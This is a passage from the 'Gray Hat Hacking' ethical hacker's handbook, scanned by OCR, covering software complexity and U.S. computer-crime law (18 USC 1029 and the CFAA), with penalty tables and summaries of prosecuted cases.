tions with tremendous functionality. Only over the last few years has the market started
screaming for functionality and security, and the vendors and programmers are scram-
bling to meet these new requirements and still stay profitable.

Security Does Not Like Complexity

Software, in general, is very complicated, and the more functionality that we try to
shove into applications and operating systems, the more complex software will be-
come. The more complex software gets, the harder it is to predict properly how it will
react in all possible scenarios, which makes it much harder to secure.

Today's operating systems and applications are increasing in lines of code (LOC).
Windows operating systems have approximately 40 million LOC. Unix and Linux op-
erating systems have much less, usually around 2 million LOC. A common estimate
used in the industry is that there are between 5-50 bugs per 1,000 lines of code. So a
middle of the road estimate would be that Windows 7 has approximately 1,200,000
bugs. (Not a statement of fact; just a guesstimation.)

It is difficult enough to try to logically understand and secure 40 million LOC, but
the complexity does not stop there. The programming industry has evolved from tradi-
tional programming languages to object-oriented languages, which allow for a modu-
lar approach to developing software. This approach has a lot of benefits: reusable
components, faster to market times, decrease in programming time, and easier ways to
troubleshoot and update individual modules within the software. But applications and
operating systems use each other’s components, users download different types of mo-
bile code to extend functionality, DLLs are installed and shared, and instead of applica-
tion-to-operating system communication, today many applications communicate
directly with each other. The operating system cannot control this type of information
flow and provide protection against possible compromises.

If we peek under the covers even further, we see that thousands of protocols are
integrated into the different operating system protocol stacks, which allows for distrib-
uted computing. The operating systems and applications must rely on these protocols
for transmission to another system or application, even if the protocols contain their
own inherent security flaws. Device drivers are developed by different vendors and in-
stalled in the operating system. Many times these drivers are not well developed and
can negatively affect the stability of an operating system. And to get even closer to the
hardware level, injection of malicious code into firmware is an up-and-coming attack
avenue.

So is it all doom and gloom? Yep, for now. Until we understand that a majority of
the successful attacks are carried out because software vendors do not integrate security
into the design and specification phases, our programmers have not been properly
taught how to code securely, vendors are not being held liable for faulty code, and con-
sumers are not willing to pay more for properly developed and tested code, our stagger-
ing hacking and company compromise statistics will only increase.
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Will it get worse before it gets better? Probably. Every industry in the world is be-
coming more reliant on software and technology. Software vendors have to carry out
the continual one-upmanship to ensure their survivability in the market. Although se-
curity is becoming more of an issue, functionality of software has always been the main
driving component of products, and it always will be. Attacks will also continue and
increase in sophistication because they are now revenue streams for individuals, com-
panies, and organized crime groups.

Will vendors integrate better security, ensure their programmers are properly trained
in secure coding practices, and put each product through more and more testing cycles?
Not until they have to. Once the market truly demands that this level of protection and
security is provided by software products and customers are willing to pay more for
security, then the vendors will step up to the plate. Currently, most vendors are only
integrating protection mechanisms because of the backlash and demand from their
customer bases. Unfortunately, just as September 11th awakened the United States to its
vulnerabilities, something large may have to take place in terms of software compro-
mise before the industry decides to address this issue properly.

So we are back to the original question: what does this have to do with ethical hack-
ing? A novice ethical hacker will use tools developed by others who have uncovered
specific vulnerabilities and methods to exploit them. A more advanced ethical hacker
will not just depend upon other people’s tools, she will have the skill set and under-
standing to look at the code itself. The more advanced ethical hacker will be able to
identify possible vulnerabilities and programming code errors and develop ways to rid
the software of these types of flaws.

If the software did not contain 5-50 exploitable bugs within every 1,000 lines of
code, we would not have to build the fortresses we are constructing today. Use this book
as a guide to bring you deeper and deeper under the covers to allow you to truly under-
stand where the security vulnerabilities reside and what should be done about them.
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Ethical Hacking and the
Legal System

We currently live in a very interesting time. Information security and the legal system
are being slammed together in a way that is straining the resources of both systems. The
information security world uses terms like “bits,” “packets,” and “bandwidth,” and the
legal community uses words like “jurisdiction,” “liability,” and “statutory interpreta-
tion.” In the past, these two very different sectors had their own focus, goals, and pro-
cedures and did not collide with one another. But, as computers have become the new
tools for doing business and for committing traditional and new crimes, the two worlds
have had to independently approach and then interact in a new space—a space now
sometimes referred to as cyberlaw.

In this chapter, we'll delve into some of the major categories of laws relating to cy-
bercrime and list the technicalities associated with each individual law. In addition,
we'll document recent real-world examples to better demonstrate how the laws were
created and have evolved over the years. We'll discuss malware and various insider
threats that companies face today, the mechanisms used to enforce relevant laws, and
federal and state laws and their application.

We'll cover the following topics:

e The rise of cyberlaw

e Understanding individual cyberlaws

The Rise of Cyberlaw

Today’s CEOs and management not only need to worry about profit margins, market
analysis, and mergers and acquisitions; now they also need to step into a world of
practicing security with due care, understanding and complying with new government
privacy and information security regulations, risking civil and criminal liability for
security failures (including the possibility of being held personally liable for certain
security breaches), and trying to comprehend and address the myriad of ways in which
information security problems can affect their companies. Business managers must
develop at least a passing familiarity with the technical, systemic, and physical ele-
ments of information security. They also need to become sufficiently well-versed in
relevant legal and regulatory requirements to address the competitive pressures and
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consumer expectations associated with privacy and security that affect decision mak-
ing in the information security area—a large and ever-growing area of our economy.

Just as businesspeople must increasingly turn to security professionals for advice in
seeking to protect their company’s assets, operations, and infrastructure, so, too, must
they turn to legal professionals for assistance in navigating the changing legal land-
scape in the privacy and information security area. Legislators, governmental and pri-
vate information security organizations, and law enforcement professionals are
constantly updating laws and related investigative techniques in an effort to counter
each new and emerging form of attack and technique that the bad guys come up with.
This means security technology developers and other professionals are constantly try-
ing to outsmart sophisticated attackers, and vice versa. In this context, the laws being
enacted provide an accumulated and constantly evolving set of rules that attempts to
stay in step with new types of crimes and how they are carried out.

Compounding the challenge for business is the fact that the information security
situation is not static; it is highly fluid and will remain so for the foreseeable future.
Networks are increasingly porous to accommodate the wide range of access points need-
ed to conduct business. These and other new technologies are also giving rise to new
transaction structures and ways of doing business. All of these changes challenge the
existing rules and laws that seek to govern such transactions. Like business leaders, those
involved in the legal system, including attorneys, legislators, government regulators,
judges, and others, also need to be properly versed in developing laws and in customer
and supplier product and service expectations that drive the quickening evolution of
new ways of transacting business—all of which can be captured in the term cyberlaw.

Cyberlaw is a broad term encompassing many elements of the legal structure that
are associated with this rapidly evolving area. The increasing prominence of cyberlaw is
not surprising if you consider that the first daily act of millions of American workers is
to turn on their computers (frequently after they have already made ample use of their
other Internet access devices and cell phones). These acts are innocuous to most people
who have become accustomed to easy and robust connections to the Internet and oth-
er networks as a regular part of life. But this ease of access also results in business risk,
since network openness can also enable unauthorized access to networks, computers,
and data, including access that violates various laws, some of which we briefly describe
in this chapter.

Cyberlaw touches on many elements of business, including how a company con-
tracts and interacts with its suppliers and customers, sets policies for employees han-
dling data and accessing company systems, uses computers to comply with government
regulations and programs, and so on. A very important subset of these laws is the group
of laws directed at preventing and punishing unauthorized access to computer net-
works and data. This chapter focuses on the most significant of these laws.

Security professionals should be familiar with these laws, since they are expected to
work in the construct the laws provide. A misunderstanding of these ever-evolving laws,
which is certainly possible given the complexity of computer crimes, can, in the ex-
treme case, result in the innocent being prosecuted or the guilty remaining free. And
usually it is the guilty ones who get to remain free.
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Understanding Individual Cyberlaws

Many countries, particularly those whose economies have more fully integrated com-
puting and telecommunications technologies, are struggling to develop laws and rules
for dealing with computer crimes. We will cover selected U.S. federal computer-crime
laws in order to provide a sample of these many initiatives; a great deal of detail regard-
ing these laws is omitted and numerous laws are not covered. This chapter is not in-
tended to provide a thorough treatment of each of these laws, or to cover any more than
the tip of the iceberg of the many U.S. technology laws. Instead, it is meant to raise
awareness of the importance of considering these laws in your work and activities as an
information security professional. That in no way means that the rest of the world is al-
lowing attackers to run free and wild. With just a finite number of pages, we cannot
properly cover all legal systems in the world or all of the relevant laws in the United
States. It is important that you spend the time necessary to fully understand the laws that
are relevant to your specific location and activities in the information security area.

The following sections survey some of the many U.S. federal computer crime stat-
utes, including:

e 18 USC 1029: Fraud and Related Activity in Connection with Access Devices
e 18 USC 1030: Fraud and Related Activity in Connection with Computers

e 18 USC 2510 et seq.: Wire and Electronic Communications Interception and
Interception of Oral Communications

e 18 USC 2701 et seq.: Stored Wire and Electronic Communications and
Transactional Records Access

e The Digital Millennium Copyright Act
e The Cyber Security Enhancement Act of 2002

e Securely Protect Yourself against Cyber Trespass Act

18 USC Section 1029: The Access Device Statute

The purpose of the Access Device Statute is to curb unauthorized access to accounts;
theft of money, products, and services; and similar crimes. It does so by criminalizing
the possession, use, or trafficking of counterfeit or unauthorized access devices or de-
vice-making equipment, and other similar activities (described shortly), to prepare for,
facilitate, or engage in unauthorized access to money, goods, and services. It defines
and establishes penalties for fraud and illegal activity that can take place through the
use of such counterfeit access devices.

The elements of a crime are generally the things that need to be shown in order for
someone to be prosecuted for that crime. These elements include consideration of the
potentially illegal activity in light of the precise definitions of “access device,” “counter-
feit access device,” “unauthorized access device,” “scanning receiver,” and other defini-
tions that together help to define the scope of the statute’s application.
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The term “access device” refers to a type of application or piece of hardware that is
created specifically to generate access credentials (passwords, credit card numbers,
long-distance telephone service access codes, PINs, and so on) for the purpose of unau-
thorized access. Specifically, it is defined broadly to mean:

...any card, plate, code, account number, electronic serial number,

mobile identification number, personal identification number, or other
telecommunications service, equipment, or instrument identifier, or other
means of account access that can be used, alone or in conjunction with another
access device, to obtain money, goods, services, or any other thing of value, or
that can be used to initiate a transfer of funds (other than a transfer originated
solely by paper instrument).

For example, phreakers (telephone system attackers) use a software tool to generate
a long list of telephone service codes so they can acquire free long-distance services and
sell these services to others. The telephone service codes that they generate would be
considered to be within the definition of an access device, since they are codes or elec-
tronic serial numbers that can be used, alone or in conjunction with another access
device, to obtain services. They would be counterfeit access devices to the extent that the
software tool generated false numbers that were counterfeit, fictitious, or forged. Fi-
nally, a crime would occur with each undertaking of the activities of producing, using,
or selling these codes, since the Access Device Statute is violated by whoever “know-
ingly and with intent to defraud, produces, uses, or traffics in one or more counterfeit
access devices.”

Another example of an activity that violates the Access Device Statute is the activity
of crackers, who use password dictionaries to generate thousands of possible passwords
that users may be using to protect their assets.

“Access device” also refers to the actual credential itself. If an attacker obtains a pass-
word, credit card number, or bank PIN, or if a thief steals a calling-card number, and this
value is used to access an account or obtain a product or service or to access a network
or a file server, it would be considered a violation of the Access Device Statute.

A common method that attackers use when trying to figure out what credit card
numbers merchants will accept is to use an automated tool that generates random sets
of potentially usable credit card values. Two tools (easily obtainable on the Internet)
that generate large volumes of credit card numbers are Credit Master and Credit Wiz-
ard. The attackers submit these generated values to retailers and others with the goal of
fraudulently obtaining services or goods. If the credit card value is accepted, the at-
tacker knows that this is a valid number, which they then continue to use (or sell for
use) until the activity is stopped through the standard fraud protection and notification
systems that are employed by credit card companies, retailers, and banks. Because this
attack type has worked so well in the past, many merchants now require users to enter
a unique card identifier when making online purchases. This identifier is the three-
digit number located on the back of the card that is unique to each physical credit card
(not just unique to the account). Guessing a 16-digit credit card number is challenging
enough, but factoring in another three-digit identifier makes the task much more dif-
ficult without having the card in hand.
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Another example of an access device crime is skimming. Two Bulgarian men stole
account information from more than 200 victims in the Atlanta area with an ATM
skimming device. They were convicted and sentenced to four and a half years in federal
prison in 2009. The device they used took an electronic recording of the customer’s
debit card number as well as a camera recording of the keypad as the password was
entered. The two hackers downloaded the information they gathered and sent it over-
seas—and then used the account information to load stolen gift cards.

A 2009 case involved eight waiters who skimmed more than $700,000 from Wash-
ington, D.C.-area restaurant diners. The ringleaders of the scam paid waiters to use a
handheld device to steal customer credit card numbers. The hackers then slid their own
credit cards through a device that encoded stolen card numbers onto their cards’ mag-
netic strips. They made thousands of purchases with the stolen card numbers. The Se-
cret Service, which is heavily involved with investigating Access Device Statute violations,
tracked the transactions back to the restaurants.

New skimming scams use gas station credit card readers to get information. In a
North Carolina case, two men were arrested after allegedly attaching electronic skim-
ming devices to the inside of gas pumps to steal bank card numbers. The device was
hidden inside gas pumps, and the cards’ corresponding PINs were stolen using hidden
video cameras. The defendants are thought to have then created new cards with the
stolen data. A case in Utah in 2010 involved about 180 gas stations being attacked. In
some cases, a wireless connection sends the stolen data back to hackers so they don't
have to return to the pump to collect the information.

Table 2-1 outlines the crime types addressed in section 1029 and their correspond-
ing punishments. These offenses must be committed knowingly and with intent to
defraud for them to be considered federal crimes.

Crime

Producing, using, or
trafficking in one or more
counterfeit access devices

Using or obtaining an access
device to gain unauthorized
access and obtain anything
of value totaling $1,000 or
more during a one-year
period

Possessing 15 or more
counterfeit or unauthorized
access devices

Penalty

Fine of $50,000 or twice the
value of the crime and/or up to
10 years in prison, $100,000 and/
or up to 20 years in prison if
repeat offense

Fine of $10,000 or twice the
value of the crime and/or up to
10 years in prison, $100,000 and/
or up to 20 years in prison if
repeat offense

Fine of $10,000 or twice the
value of the crime and/or up to
10 years in prison, $100,000 and/
or up to 20 years in prison if
repeat offense

Example

Creating or using a
software tool to generate
credit card numbers

Using a tool to capture
credentials and using the
credentials to break into
the Pepsi-Cola network, for
instance, and stealing their
soda recipe

Hacking into a database and
obtaining 15 or more credit
card numbers

Table 2-1

Access Device Statute Laws
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Crime

Producing, trafficking, having
control or possession of
device-making equipment

Effecting transactions with
access devices issued to
another person in order to
receive payment or other
things of value totaling
$1,000 or more during a
one-year period

Soliciting a person for the
purpose of offering an
access device or selling
information regarding how
to obtain an access device

Using, producing,

trafficking in, or having

a telecommunications
instrument that has been
modified or altered to
obtain unauthorized use of
telecommunications services

Using, producing, trafficking
in, or having custody or
control of a scanning
receiver

Producing, trafficking,

having control or custody

of hardware or software
used to alter or modify
telecommunications
instruments to obtain
unauthorized access to
telecommunications services

Causing or arranging for

a person to present to a
credit card system member
or its agent for payment
records of transactions
made by an access device

Penalty

Fine of $50,000 or twice the
value of the crime and/or up to
I5 years in prison, $1,000,000
and/or up to 20 years in prison if
repeat offense

Fine of $10,000 or twice the
value of the crime and/or up to
I5 years in prison, $100,000 and/
or up to 20 years in prison if
repeat offense

Fine of $50,000 or twice the
value of the crime and/or up to
10 years in prison, $100,000 and/
or up to 20 years in prison if
repeat offense

Fine of $50,000 or twice the
value of the crime and/or up to
10 years in prison, $100,000 and/
or up to 20 years in prison if
repeat offense

Fine of $50,000 or twice the
value of the crime and/or up to
|5 years in prison, $100,000 and/
or up to 20 years in prison if
repeat offense

Fine of $10,000 or twice the
value of the crime and/or up to
10 years in prison, $100,000 and/
or up to 20 years in prison if
repeat offense

Fine of $10,000 or twice the
value of the crime and/or up to
10 years in prison, $100,000 and/
or up to 20 years in prison if
repeat offense

Example

Creating, having, or selling
devices to obtain user
credentials illegally for the
purpose of fraud

Setting up a bogus website
and accepting credit card
numbers for products or
service that do not exist

A person obtains advance
payment for a credit card
and does not deliver that
credit card

Cloning cell phones and
reselling them or employing
them for personal use

Scanners used to intercept
electronic communication
to obtain electronic

serial numbers, or mobile
identification numbers

for cell phone recloning
purposes

Using and selling tools that
can reconfigure cell phones
for fraudulent activities, or
PBX telephone fraud and
different phreaker boxing
techniques to obtain free
telecommunication service

Creating phony credit card
transactions records to
obtain products or refunds

Table 2-1

Access Device Statute Laws (continued)
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A further example of a crime that can be punished under the Access Device Statute
is the creation of a website or the sending of e-mail “blasts” that offer false or fictitious
products or services in an effort to capture credit card information, such as products
that promise to enhance one’s sex life in return for a credit card charge of $19.99. (The
snake oil miracle workers who once had wooden stands filled with mysterious liquids
and herbs next to dusty backcountry roads now have the power of the Internet to hawk
their wares.) These phony websites capture the submitted credit card numbers and use
the information to purchase the staples of hackers everywhere: pizza, portable game
devices, and, of course, additional resources to build other malicious websites.

Because the Internet allows for such a high degree of anonymity, these criminals
are generally not caught or successfully prosecuted. As our dependency upon technol-
ogy increases and society becomes more comfortable with carrying out an increas-
ingly broad range of transactions electronically, such threats will only become more
prevalent. Many of these statutes, including Section 1029, seek to curb illegal activi-
ties that cannot be successfully fought with just technology alone. So basically you
need several tools in your bag of tricks to fight the bad guys—technology, knowledge
of how to use the technology, and the legal system. The legal system will play the role
of a sledgehammer to the head, which attackers will have to endure when crossing
these boundaries.

Section 1029 addresses offenses that involve generating or illegally obtaining access
credentials, which can involve just obtaining the credentials or obtaining and using
them. These activities are considered criminal whether or not a computer is involved—
unlike the statute discussed next, which pertains to crimes dealing specifically with
computers.

18 USC Section 1030 of the Computer Fraud
and Abuse Act

The Computer Fraud and Abuse Act (CFAA) (as amended by the USA Patriot Act) is an
important federal law that addresses acts that compromise computer network security.
It prohibits unauthorized access to computers and network systems, extortion through
threats of such attacks, the transmission of code or programs that cause damage to
computers, and other related actions. It addresses unauthorized access to government,
financial institutions, and other computer and network systems, and provides for civil
and criminal penalties for violators. The act outlines the jurisdiction of the FBI and
Secret Service.

Table 2-2 outlines the categories of crimes that section 1030 of the CFAA addresses.
These offenses must be committed knowingly by accessing a computer without autho-
rization or by exceeding authorized access. You can be held liable under the CFAA if
you knowingly accessed a computer system without authorization and caused harm,
even if you did not know that your actions might cause harm.

29




Gray Hat Hacking, The Ethical Hacker’s Handbook, Third Edition

30

Crime

Acquiring national defense,
foreign relations, or restricted
atomic energy information
with the intent or reason to
believe that the information
can be used to injure the U.S.
or to the advantage of any
foreign nation.

Obtaining information in

a financial record from a
financial institution or a card
issuer, or information on a
consumer in a file from a
consumer reporting agency.
Obtaining information from
any department or agency
of the U.S. or protected
computer involved in
interstate and foreign
communication.

Affecting a computer
exclusively for the use of a
U.S. government department
or agency or, if it is not
exclusive, one used for the
government where the
offense adversely affects

the use of the government’s
operation of the computer.

Furthering a fraud by
accessing a federal interest
computer and obtaining
anything of value, unless the
fraud and the thing obtained
consists only of the use of the
computer and the use is not
more than $5,000 in a one-
year period.

Punishment

Fine and/or up to | year
in prison, up to 10 years in
prison if repeat offense.

Fine and/or up to | year
in prison, up to 10 years in
prison if repeat offense.

Fine and/or up to | year
in prison, up to 10 years in
prison if repeat offense.

Fine and/or up to 5 years
in prison, up to 10 years in
prison if repeat offense.

Example

Hacking into a government
computer to obtain classified
data.

Breaking into a computer to
obtain another person’s credit
information.

Makes it a federal crime

to violate the integrity of a
system, even if information is
not gathered. One example is
carrying out denial-of-service
attacks against government
agencies.

Breaking into a powerful
system and using its processing
power to run a password-
cracking application.

Table 2-2 Computer Fraud and Abuse Act Laws

The term “protected computer,” as commonly put forth in the CFAA, means a com-
puter used by the U.S. government, financial institutions, or any system used in inter-
state or foreign commerce or communications. The CFAA is the most widely referenced
statute in the prosecution of many types of computer crimes. A casual reading of the
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Crime

Employing a computer used

in interstate commerce

and knowingly causing the
transmission of a program,
information, code, or
command to a protected
computer that results in
damage or the victim suffering
some type of loss.

Furthering a fraud by
trafficking in passwords

or similar information

that will allow a computer

to be accessed without
authorization, if the trafficking
affects interstate or foreign
commerce or if the computer
affected is used by or for the
government.

With intent to extort from
any person any money

or other thing of value,
transmitting in interstate

Punishment

Penalty with intent to harm:
Fine and/or up to 5 years

in prison, up to 10 years

in prison if repeat offense.
Penalty for acting with
reckless disregard: Fine and/
or up to | year in prison.

Fine and/or up to | year
in prison, up to 10 years in
prison if repeat offense.

$250,000 fine and 10 years
in prison for first offense,
$250,000 and 20 years

in prison for subsequent

Example

Intentional: Disgruntled
employee uses his access

to delete a whole database.
Reckless disregard: Hacking
into a system and accidentally
causing damage (or if the
prosecution cannot prove
that the attacker’s intent was
malicious).

After breaking into a
government computer,
obtaining user credentials
and selling them.

Encrypting all data on a
government hard drive and
demanding money to then
decrypt the data.

3

or foreign commerce any offenses.
communication containing any
threat to cause damage to a

protected computer.
Table 2-2 Computer Fraud and Abuse Act Laws (continued)

CFAA suggests that it only addresses computers used by government agencies and fi-
nancial institutions, but there is a small (but important) clause that extends its reach.
This clause says that the law applies also to any system “used in interstate or foreign
commerce or communication.” The meaning of “used in interstate or foreign com-
merce or communication” is very broad, and, as a result, CFAA operates to protect
nearly all computers and networks. Almost every computer connected to a network or
the Internet is used for some type of commerce or communication, so this small clause
pulls nearly all computers and their uses under the protective umbrella of the CFAA.
Amendments by the USA Patriot Act to the term “protected computer” under CFAA
extended the definition to any computers located outside the United States, as long as
they affect interstate or foreign commerce or communication of the United States. So if
the United States can get the attackers, they will attempt to prosecute them no matter
where in the world they live.
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The CFAA has been used to prosecute many people for various crimes. Two types
of unauthorized access can be prosecuted under the CFAA: These include wholly un-
authorized access by outsiders, and also situations where individuals, such as employ-
ees, contractors, and others with permission, exceed their authorized access and
commit crimes. The CFAA states that if someone accesses a computer in an unauthor-
ized manner or exceeds his or her access rights, that individual can be found guilty of
a federal crime. This clause allows companies to prosecute employees who carry out
fraudulent activities by abusing (and exceeding) the access rights their company has
given them.

Many IT professionals and security professionals have relatively unlimited access
rights to networks due to their job requirements. However, just because an individual
is given access to the accounting database, doesn’t mean she has the right to exceed that
authorized access and exploit it for personal purposes. The CFAA could apply in these
cases to prosecute even trusted, credentialed employees who performed such mis-
deeds.

Under the CFAA, the FBI and the Secret Service have the responsibility for han-
dling these types of crimes and they have their own jurisdictions. The FBI is respon-
sible for cases dealing with national security, financial institutions, and organized
crime. The Secret Service's jurisdiction encompasses any crimes pertaining to the
Treasury Department and any other computer crime that does not fall within the
FBI's jurisdiction.

o

NOTE The Secret Service’s jurisdiction and responsibilities have grown since
the Department of Homeland Security (DHS) was established. The Secret
Service now deals with several areas to protect the nation and has established
an Information Analysis and Infrastructure Protection division to coordinate
activities in this area.This division’s responsibilities encompasses the
preventive procedures for protecting “critical infrastructure,” which include
such things as power grids, water supplies, and nuclear plants in addition to
computer systems.

Hackers working to crack government agencies and programs seem to be working
on an ever-bigger scale. The Pentagon’s Joint Strike Fighter Project was breached in
2009, according to a Wall Street Journal report. Intruders broke into the $300 billion
project to steal a large amount of data related to electronics, performance, and design
systems. The stolen information could make it easier for enemies to defend against
fighter jets. The hackers also used encryption when they stole data, making it harder for
Pentagon officials to determine what exactly was taken. However, much of the sensitive
program-related information wasn't stored on Internet-connected computers, so hack-
ers weren't able to access that information. Several contractors are involved in the fight-
er jet program, however, opening up more networks and potential vulnerabilities for
hackers to exploit.
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An example of an attack that does not involve government agencies but instead
simply represents an exploit in interstate commerce involved online ticket purchase
websites. Three ticketing system hackers made more than $25 million and were in-
dicted in 2010 for CFAA violations, among other charges. The defendants are thought
to have gotten prime tickets for concerts and sporting events across the U.S., with help
from Bulgarian computer programmers. One important strategy was using CAPTCHA
bots, a network of computers that let the hackers evade the anti-hacking CAPTCHA tool
found on most ticketing websites. They could then buy tickets much more quickly than
the general public. In addition, the hackers are alleged to have used fake websites and
e-mail addresses to conceal their activities.

Worms and Viruses and the CFAA

The spread of computer viruses and worms seems to be a common occurrence during
many individuals” and corporations’ daily activities. A big reason for the increase in vi-
ruses and worms is that the Internet continues to grow at an unbelievable pace, provid-
ing attackers with new victims to exploit every day. Malware is becoming more sophisti-
cated, and a record number of home users run insecure systems, which is just a welcome
mat to one and all hackers. Individuals who develop and release this type of malware
can be prosecuted under section 1030, along with various state statutes. The CFAA crim-
inalizes the act of knowingly causing the transmission of a program, information, code,
or command, without authorized access to the protected computer, that results in inten-
tional damage.

In 2009, a federal grand jury indicted a hacker on charges that he transmitted mali-
cious script to servers at Fannie Mae, the government-sponsored mortgage lender. As an
employee, the defendant had access to all of Fannie Mae’s U.S. servers. After the hacker
(a contract worker) was let go from Fannie Mae, he inserted code designed to move
through 4,000 servers and destroy all data. Though the malicious script was hidden,
another engineer discovered the script before it could execute.

In U.S. vs. Mettenbrink, a Nebraska hacker pled guilty in 2010 to an attack on the
Church of Scientology websites. As part of the “Anonymous” group, which protests
Scientology, the hacker downloaded software to carry out a DDoS attack. The attack
shut down all of the church'’s websites. The defendant was sentenced to a year in prison.
The maximum penalty for the case, filed as violating Title 18 USC 1030(a)(5)(A)(i), is
ten years in prison and a fine of $250,000.

Blaster Worm Attacks and the CFAA

Virus outbreaks have definitely caught the attention of the American press and the gov-
ernment. Because viruses can spread so quickly, and their impact grow exponentially,
serious countermeasures have been developed. The Blaster worm is a well-known worm
that has impacted the computing industry. In Minnesota, an individual was brought to
justice under the CFAA for issuing a B variant of the worm that infected 7,000 users.
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Those users’ computers were unknowingly transformed into drones that then attempt-
ed to attack a Microsoft website. Although the Blaster worm is an old example of an
instance of malware, it gained the attention of high-ranking government and law en-
forcement officials.

Addressing the seriousness of the crimes, then-Attorney General John Ashcroft
stated,

The Blaster computer worm and its variants wreaked havoc on the Internet, and
cost businesses and computer users substantial time and money. Cyber hacking
is not joy riding. Hacking disrupts lives and victimizes innocent people across the
nation. The Department of Justice takes these crimes very seriously, and we will
devote every resource possible to tracking down those who seek to attack our
technological infrastructure.

So, there you go, do bad deeds and get the legal sledgehammer to the head. Sadly, how-
ever, many of these attackers are never found and prosecuted because of the difficulty
of investigating digital crimes.

The Minnesota Blaster case was a success story in the eyes of the FBI, Secret Service,
and law enforcement agencies, as collectively they brought a hacker to justice before
major damage occurred. “This case is a good example of how effectively and quickly
law enforcement and prosecutors can work together and cooperate on a national level,”
commented U.S. District Attorney Tom Heffelfinger.

The FBI added its comments on the issue as well. Jana Monroe, FBI assistant direc-
tor, Cyber Division, stated, “Malicious code like Blaster can cause millions of dollars’
worth of damage and can even jeopardize human life if certain computer systems are
infected. That is why we are spending a lot of time and effort investigating these cases.”
In response to this and other types of computer crime, the FBI has identified investigat-
ing cybercrime as one of its top three priorities, just behind counterterrorism and coun-
terintelligence investigations.

Other prosecutions under the CFAA include a case brought against a defendant who
tried to use “cyber extortion” against insurance company New York Life, threatening to
send spam to customers if he wasn’t paid $200,000 (United States vs. Digati); a case
(where the defendant received a seven-and-a-half year sentence) where a hacker sent
e-mail threats to a state senator and other randomly selected victims (United States vs.
Tschiegg); and the case against an e-mail hacker who broke into vice-presidential nomi-
nee Sarah Palin’s Yahoo! account during the 2008 presidential election (United States
vs. Kernell).

So many of these computer crimes happen today, they don’t even make the news
anymore. The lack of attention given to these types of crimes keeps them off the radar
of many people, including the senior management of almost all corporations. If more
people were aware of the amount of digital criminal behavior happening these days
(prosecuted or not), security budgets would certainly rise.

[t is not clear that these crimes can ever be completely prevented as long as software
and systems provide opportunities for such exploits. But wouldn't the better approach
be to ensure that software does not contain so many flaws that can be exploited and



Chapter 2: Ethical Hacking and the Legal System

that continually cause these types of issues? That is why we wrote this book. We illus-
trate the weaknesses in many types of software and show how these weaknesses can be
exploited with the goal of the motivating the industry to work together—not just to
plug holes in software, but to build the software right in the first place. Networks should
not have a hard shell and a chewy inside—the protection level should properly extend
across the enterprise and involve not only the perimeter devices.

Disgruntled Employees

Have you ever noticed that companies will immediately escort terminated employees
out of the building without giving them the opportunity to gather their things or say
goodbye to coworkers? On the technology side, terminated employees are stripped of
their access privileges, computers are locked down, and often, configuration changes
are made to the systems those employees typically accessed. It seems like a coldhearted
reaction, especially in cases where an employee has worked for a company for many
years and has done nothing wrong. Employees are often laid off as a matter of circum-
stance, not due to any negative behavior on their part. Still, these individuals are told
to leave and are sometimes treated like criminals instead of former valued employees.

Companies have good, logical reasons to be careful in dealing with terminated and
former employees, however. The saying “one bad apple can ruin a bushel” comes to
mind. Companies enforce strict termination procedures for a host of reasons, many of
which have nothing to do with computer security. There are physical security issues,
employee safety issues, and, in some cases, forensic issues to contend with. In our mod-
ern computer age, one important factor to consider is the possibility that an employee
will become so vengeful when terminated that he will circumvent the network and use
his intimate knowledge of the company’s resources to do harm. It has happened to
many unsuspecting companies, and yours could be next if you don't protect yourself. It
is vital that companies create, test, and maintain proper employee termination proce-
dures that address these situations specifically.

Several cases under the CFAA have involved former or current employees. A pro-
grammer was indicted on computer fraud charges after he allegedly stole trade secrets
from Goldman Sachs, his former employer. The defendant switched jobs from Gold-
man to another firm doing similar business, and on his last day is thought to have
stolen portions of Goldman Sachs’s code. He had also transferred files to his home
computer throughout his tenure at Goldman Sachs.

One problem with this kind of case is that it is very difficult to prove how much
actual financial damage was done, making it difficult for companies injured by these
acts to collect compensatory damages in a civil action brought under the CFAA. The
CFAA does, however, also provide for criminal fines and imprisonment designed to dis-
suade individuals from engaging in hacking attacks.

In some intrusion cases, real damages can be calculated. In 2008, a hacker was sen-
tenced to a year in prison and ordered to pay $54,000 in restitution after pleading
guilty to hacking his former employer’s computer systems. He had previously been IT
manager at Akimbo Systems, in charge of building and maintaining the network, and
had hacked into its systems after he was fired. Over a two-day period, he reconfigured
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servers to send out spam messages, as well as deleted the contents of the organization’s
Microsoft Exchange database.

In another example, a Texas resident was sentenced to almost three years in prison
in early 2010 for computer fraud. The judge also ordered her to pay more than $1 mil-
lion in restitution to Standard Mortgage Corporation, her former employer. The hacker
had used the company’s computer system to change the deposit codes for payments
made at mortgage closings, and then created checks payable to herself or her creditors.

These are just a few of the many attacks performed each year by disgruntled employ-
ees against their former employers. Because of the cost and uncertainty of recovering
damages in a civil suit or as restitution in a criminal case under the CFAA or other ap-
plicable law, well-advised businesses put in place detailed policies and procedures for
handling employee terminations, as well as the related implementation of access limita-
tions to company computers, networks, and related equipment for former employees.

Other Areas for the CFAA

It's unclear whether or how the growth of social media might impact this statute. A
MySpace cyber-bullying case is still making its way through appeal courts at the time of
writing this book in 2010. Originally convicted of computer fraud, Lori Drew was later
freed when the judge overturned her jury conviction. He decided her case did not meet
the guidelines of CFAA abuse. Drew had created a fake MySpace account that she used
to contact a teenage neighbor, pretending she was a love interest. The teenager later
committed suicide. The prosecution in the case argued that violating MySpace’s terms
of service was a form of computer hacking fraud, but the judge did not agree when he
acquitted Drew in 2009.

In 2010, the first Voice over Internet Protocol (VoIP) hacking case was prosecuted
against a man who hacked into VoIP-provider networks and resold the services for a
profit. Edwin Pena pleaded guilty to computer fraud after a three-year manhunt found
him in Mexico. He had used a VoIP network to route calls (more than 500,000) and hid
evidence of his hack from network administrators. Prosecutors believed he sold more
than 10 million Internet phone minutes to telecom businesses, leading to a $1.4 mil-
lion loss to providers in under a year.

State Law Alternatives

The amount of damage resulting from a violation of the CFAA can be relevant for either
a criminal or civil action. As noted earlier, the CFAA provides for both criminal and
civil liability for a violation. A criminal violation is brought by a government official
and is punishable by either a fine or imprisonment or both. By contrast, a civil action
can be brought by a governmental entity or a private citizen and usually seeks the recov-
ery of payment of damages incurred and an injunction, which is a court order to prevent
further actions prohibited under the statute. The amount of damages is relevant for
some but not all of the activities that are prohibited by the statute. The victim must
prove that damages have indeed occurred. In this case, damage is defined as disruption
of the availability or integrity of data, a program, a system, or information. For most
CFAA violations, the losses must equal at least $5,000 during any one-year period.
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This sounds great and may allow you to sleep better at night, but not all of the harm
